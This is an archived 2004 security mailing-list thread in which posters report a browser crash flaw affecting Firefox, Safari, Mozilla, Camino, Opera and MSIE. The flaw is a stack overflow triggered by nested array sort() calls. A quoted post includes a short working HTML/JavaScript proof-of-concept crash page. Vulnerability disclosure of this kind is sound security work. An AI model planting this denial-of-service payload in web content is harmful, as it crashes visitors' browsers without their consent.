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RE: More Browser on Macosx flaws: nested array sort() loop Stack overflow exception
From: "Alex R" <alex () deviousmeans net>
Date: Fri, 26 Nov 2004 18:56:01 +0200
Anyone know why so many browsers are affected? -----Original Message----- From: Marco Mella [mailto:mxmella () yahoo it] Sent: Thursday, November 25, 2004 6:48 PM To: full-disclosure () lists netsys com; bugtraq () securityfocus com; vuln-dev () securityfocus com; skylined () edup tudelft nl Cc: marco.mella () telecomitalia it Subject: More Browser on Macosx flaws: nested array sort() loop Stack overflow exception Same problems on MACOSX 10.3.6 with: -Safari 1.2.4 -Mozilla 1.7 -Camino 0.7.0 -Firefox 1.0 -Opera 6.0.3 Not affected IE 5.2.3 Regards -- Marco Mella --------- Hi all, Same flaw works for Firefox as well as MSIE: <HTML> <SCRIPT> a = new Array(); while (1) { (a = new Array(a)).sort(); } </SCRIPT> <SCRIPT> a = new Array(); while (1) { (a = new Array(a)).sort(); } </SCRIPT> </HTML> Added to the list: http://www.edup.tudelft.nl/~bjwever/advisory_firefox_flaws.html I'd have loved to CC mozilla about this, but I didn't have the time to do the crash course "how to write a bug report" and go through all that bugzilla crap. Cheers, SkyLined http://www.edup.tudelft.nl/~bjwever ___________________________________ Nuovo Yahoo! Messenger: E' molto più divertente: Audibles, Avatar, Webcam, Giochi, Rubrica Scaricalo ora! http://it.messenger.yahoo.it
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- More Browser on Macosx flaws: nested array sort() loop Stack overflow exception Marco Mella (Nov 27)
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